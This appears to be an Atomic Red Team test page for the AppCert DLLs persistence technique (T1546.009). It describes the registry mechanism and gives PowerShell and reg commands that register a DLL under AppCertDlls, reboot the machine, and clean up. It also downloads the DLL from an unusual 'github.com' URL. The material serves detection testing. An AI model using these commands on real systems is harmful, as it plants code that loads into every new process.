Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppCert DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in theAppCertDLLs
Registry key underHKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\
are loaded into every process that calls the ubiquitously used application programming interface (API) functionsCreateProcess
,CreateProcessAsUser
,CreateProcessWithLoginW
,CreateProcessWithTokenW
, orWinExec
. (Citation: Elastic Process Injection July 2017)Similar to Process Injection, this value can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. Malicious AppCert DLLs may also provide persistence by continuously being triggered by API activity.
Creates a new 'AtomicTest' value pointing to an AppCert DLL in the AppCertDlls registry key. Once the computer restarted, the DLL will be loaded in multiple processes and write an 'AtomicTest.txt' file in C:\Users\Public\ to validate that the DLL executed succesfully.
Reference: https://skanthak.homepage.t-online.de/appcert.html
Supported Platforms: Windows
auto_generated_guid: a5ad6104-5bab-4c43-b295-b4c44c7c6b05
Name | Description | Type | Default Value |
---|---|---|---|
dll_path | path of dll to use | path | PathToAtomicsFolder\T1546.009\bin\AtomicTest.dll |
reboot | Set value to $true if you want to automatically reboot the machine | string | $false |
Copy-Item "#{dll_path}" C:\Users\Public\AtomicTest.dll -Force
reg add "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\AppCertDlls" /v "AtomicTest" /t REG_EXPAND_SZ /d "C:\Users\Public\AtomicTest.dll" /f
if(#{reboot}){Restart-Computer}
reg delete "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\AppCertDlls" /v "AtomicTest" /f
Remove-Item C:\Users\Public\AtomicTest.dll -Force
Remove-Item C:\Users\Public\AtomicTest.txt -Force
if (Test-Path "#{dll_path}") {exit 0} else {exit 1}
New-Item -Type Directory (split-path "#{dll_path}") -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.009/bin/AtomicTest.dll" -OutFile "#{dll_path}"